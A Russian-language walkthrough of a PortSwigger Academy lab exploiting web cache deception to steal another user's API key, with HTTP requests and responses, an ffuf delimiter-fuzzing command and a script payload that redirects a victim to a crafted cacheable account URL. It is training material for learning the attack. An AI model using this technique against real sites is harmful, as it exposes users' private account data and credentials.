Для прохождения лабы нужно найти API-ключи пользователя carlos с помощью Web cache deception.

Для входа в свою учетную запись можно использовать креды wiener:peter.

https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/

Solution

Зайдем в личный кабинет. Попробуем посмотреть, какие ресурсы кэширует веб-сервер. Нашел запрос к статическому ресурсу, который кэшируется:

GET /resources/js/tracking.js HTTP/2
Host: 0a1a004203e3db3880ab21a700c90051.web-security-academy.net
Cookie: session=OLj3BzuRT25z8Ym7ZCblnYtZSkNcockE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

Ответ:

HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');

Попробую найти примерное правило кэширования. Для этого заменю tracking.js на рандомные символы. Если ответ будет кэширован, значит правило кэширует ресурсы по статическому пути:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11

"Not Found"

Я получил 404, но ответ кэшировался. А значит файлы в /resourses кэшируются всегда. Посмотрю нормализацию пути. Для этого добавлю /aaa/..%2f в начало — /aaaa/..%2fresources/js/tracking.js:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11

"Not Found"

Ответ так же кэшировался. Попробую добавить /aaaa/..%2f после пути /resources/resources/aaaa/..%2fjs/tracking.js.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11

"Not Found"

Ответ все равно кэшировался. Значит путь преобразовался к нормальному виду до кэширования.

Теперь посмотрю то, как нормализуется путь к динамическим ресурсам. Для этого буду работать с запросом к /my-account:

GET /my-account HTTP/2
Host: 0a1a004203e3db3880ab21a700c90051.web-security-academy.net
Cookie: session=OLj3BzuRT25z8Ym7ZCblnYtZSkNcockE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Попробую добавить рандомные символы к пути — /my-account/aaaa:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Значит такой способ не подходит. Попробую добавить /aaa/..%2f к началу пути:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Все еще не то( Хмм… А если наоборот подставить в конец? — /my-account%2f%2e%2e%2aaaa:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Тоска( Видимо путь на сервере не нормализуется. Попробую добавить /resourses к пути динамического ресурса. Посмотрю, какие разделители обрабатывает сервер. Для этого использую ffuf. В целом, это можно сделать и в Burp, но я хочу так)

 ffuf -u https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/my-accountFUZZaaa \
 -w wordlists/webcache_delimeters.txt

Вывод:

%                       [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 91ms]
?                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 165ms]
#                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 171ms]
%23                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 176ms]
/                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 136ms]
%2F   3                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 65ms]
%3F                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 81ms]
%00                     [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 72ms]

В качестве разделителя сервер принимает %, ?, #, / и %00. Я знаю, что путь к кэшируемым ресурсам нормализуется до кэширования, поэтому путь следующего формата должен кэшироваться — /my-account#%2f..%2fresourses. Проверю это:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3866

...

Сработало. Теперь нужно скрафтить пейлоад. Для пейлоада буду использовать URL — https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/my-account#%2f..%2fresources/pwned. В качестве файла с нагрузкой использую HTML:

<script>document.location="https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/my-account#%2f..%2fresources/pwned"</script>

IMG

Это не сработало. А почему? Попробую закодировать символы — это не помогло…

Прошел час.. Была выпита одна чашка кофе.. Я решил попробовать написать html полностью. И о чудо, оно сработало…

IMG

Долгожданный API-key:

IMG

Мда уж. Иногда стоит взять перерыв. А лаба решена:

IMG